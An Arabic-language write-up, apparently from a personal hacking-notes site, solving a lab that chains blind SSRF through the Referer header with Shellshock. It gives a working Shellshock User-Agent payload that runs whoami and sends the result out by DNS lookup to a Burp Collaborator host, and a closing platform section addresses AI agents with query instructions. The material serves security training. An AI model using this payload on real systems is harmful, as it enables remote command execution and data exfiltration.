> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# SSRF أعمى مستغل عبر Shellshock

### استغلال SSRF الأعمى باستخدام Shellshock

يستخدم هذا الموقع وحدة تحليل تسترجع عنوان URL المقدم في الترويسة **Referer** في كل مرة تتم فيها مشاهدة صفحة منتج. / لحل المختبر، يجب عليك تحويل هذه الوظيفة لتنفيذ هجوم أعمى **SSRF** إلى خادم داخلي يقع ضمن النطاق **192.168.0.X** على المنفذ **8080**. / أثناء الهجوم الأعمى، يجب حقن حمولة **Shellshock** يجب حقنها لاستخراج اسم مستخدم النظام.

#### الملاحظة الأولية

عند زيارة صفحة منتج، يرسل الموقع بالفعل طلبًا بناءً على الترويسة **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

وهذا يؤكد أن التطبيق يتصل تلقائيًا بعنوان URL المقدم في هذه الترويسة.

<figure><img src="/files/1c02dc283ec1d0d70f055bfafea7b8ac26c8155d" alt=""><figcaption></figcaption></figure>

#### الاستغلال عبر SSRF الأعمى

الهدف هو إجبار التطبيق على الاتصال بمضيف داخلي:

```
Referer: http://192.168.X:8080
```

نظرًا لأن الخدمة الداخلية معرضة لـ **Shellshock**، يتم حقن حمولة في **User-Agent** الترويسة، والتي سيفسرها الخادم المستهدف.

تنفذ الحمولة أمرًا لاستخراج `whoami` النتيجة عبر طلب DNS يُرسل إلى **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/4ba52ea77e743fdab241da62f277f1ecb9efd3c1" alt=""><figcaption></figcaption></figure>

#### النتيجة

يظهر استعلام DNS على جانب Collaborator، متضمنًا اسم مستخدم النظام. / في هذه الحالة، المستخدم الذي تم إرجاعه هو:

<figure><img src="/files/8e3052fd23cb13f92b49da6639e6876e3de61fc2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
